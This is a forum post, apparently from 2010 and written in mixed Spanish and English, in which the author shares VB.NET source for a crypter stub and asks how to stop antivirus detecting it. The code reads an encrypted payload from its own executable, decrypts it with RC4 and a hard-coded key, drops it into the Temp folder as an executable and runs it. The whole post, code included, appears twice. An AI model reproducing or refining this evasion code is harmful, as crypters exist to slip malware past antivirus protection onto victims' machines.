Mar Nov 23, 2010 9:04 am
Hey All,
Tengo crear un cripter que es 100%fud, pero en el momento de la apertura del fichero una parte del código es detectar en el expediente Temp...
I haved create a crypte who is 100% Fud , but when i open this file is deteted by AV in a Temp Folder..
_______________________________________________
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "///Shift75//")
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End
________________________________________________________
Do you have a solution for help me? Thanks
Tengo crear un cripter que es 100%fud, pero en el momento de la apertura del fichero una parte del código es detectar en el expediente Temp...
I haved create a crypte who is 100% Fud , but when i open this file is deteted by AV in a Temp Folder..
_______________________________________________
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "///Shift75//")
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End
________________________________________________________
Do you have a solution for help me? Thanks